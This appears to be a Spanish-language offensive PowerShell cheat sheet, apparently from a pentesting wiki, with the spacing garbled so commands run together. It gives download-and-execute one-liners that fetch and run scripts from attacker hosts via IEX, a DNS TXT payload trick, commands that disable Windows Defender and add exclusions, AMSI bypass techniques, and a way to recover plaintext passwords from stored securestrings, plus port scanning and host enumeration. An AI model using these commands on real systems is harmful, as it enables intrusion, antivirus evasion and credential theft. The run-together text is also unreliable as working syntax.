Get-Help*#List everything loadedGet-Helpprocess#List everything containing "process"Get-HelpGet-Item-Full #Get full helpabout a topicGet-HelpGet-Item-Examples #List examplesImport-Module<modulepath>Get-Command-Module <modulename>
Descargar y Ejecutar
gecho IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264#host a text record with your payload at one of your (unburned) domains and do this:powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
Descargar y ejecutar en segundo plano con bypass de AMSI
# Check statusGet-MpComputerStatusGet-MpPreference| select Exclusion*| fl #Check exclusions# DisableSet-MpPreference-DisableRealtimeMonitoring $true#To completely disable Windows Defender on a computer, use the command:New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion pathSet-MpPreference-ExclusionPath (pwd) -disablerealtimemonitoringAdd-MpPreference-ExclusionPath (pwd)# Check exclusions configured via GPOParse-PolFile .\Registry.polKeyName : Software\Policies\Microsoft\Windows Defender\ExclusionsValueName : Exclusions_PathsValueType : REG_DWORDValueLength : 4ValueData : 1KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\PathsValueName : C:\Windows\TempValueType : REG_SZValueLength : 4ValueData : 0
Bypass de AMSI
amsi.dll es cargado en tu proceso y tiene las exportaciones necesarias para que cualquier aplicación interactúe. Y debido a que está cargado en el espacio de memoria de un proceso que controlas, puedes cambiar su comportamiento sobrescribiendo instrucciones en memoria. Haciendo que no detecte nada.
Por lo tanto, el objetivo de los bypass de AMSI que realizarás es sobrescribir las instrucciones de esa DLL en memoria para hacer que la detección sea inútil.
Esta nueva técnica se basa en el hooking de llamadas a la API de métodos .NET. Resulta que los métodos .NET necesitan ser compilados a instrucciones de máquina nativas en memoria, que terminan pareciendo muy similares a los métodos nativos. Estos métodos compilados pueden ser enganchados para cambiar el flujo de control de un programa.
Los pasos para realizar el hooking de llamadas a la API de métodos .NET son:
Identificar el método objetivo a enganchar
Definir un método con el mismo prototipo de función que el objetivo
Usar reflexión para encontrar los métodos
Asegurarse de que cada método ha sido compilado
Encontrar la ubicación de cada método en memoria
Sobrescribir el método objetivo con instrucciones que apunten a nuestro método malicioso
AMSI Bypass 3 - Privilegio SeDebug
Siguiendo esta guía y código puedes ver cómo, con suficientes privilegios para depurar procesos, puedes generar un proceso powershell.exe, depurarlo, monitorear cuándo carga amsi.dll y deshabilitarlo.
[System.Environment]::OSVersion.Version #Current OS versionGet-WmiObject-query 'select * from win32_quickfixengineering'|foreach {$_.hotfixid} #List all patchesGet-Hotfix-description "Security update"#List only "Security Update" patches
Entorno
Get-ChildItem Env: | ft Key,Value -AutoSize #get all values$env:UserName @Get UserName value
Otras unidades conectadas
Get-PSDrive|where {$_.Provider-like"Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Get-LocalGroup| ft Name #All groupsGet-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Portapapeles
Get-Clipboard
Procesos
Get-Process|where {$_.ProcessName-notlike"svchost*"} | ft ProcessName, Id
Servicios
Get-Service
Contraseña de cadena segura
$pw=gc admin-pass.xml |convertto-securestring#Get the securestring from the file$cred=new-object system.management.automation.pscredential("administrator", $pw)$cred.getnetworkcredential() | fl *#Get plaintext password
Tareas Programadas
Get-ScheduledTask|where {$_.TaskPath-notlike"\Microsoft*"} | ft TaskName,TaskPath,State
Red
Escaneo de Puertos
# Check Port or Single IPTest-NetConnection-Port 8010.10.10.10# Check Port List in Single IP80,443,8080|% {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null# Check Port Range in single IP1..1024|% {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "TCP port $_ is open"} 2>$null# Check Port List in IP Lists - 80,443,445,8080"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
Interfaces
Get-NetIPConfiguration| ft InterfaceAlias,InterfaceDescription,IPv4AddressGet-DnsClientServerAddress-AddressFamily IPv4 | ft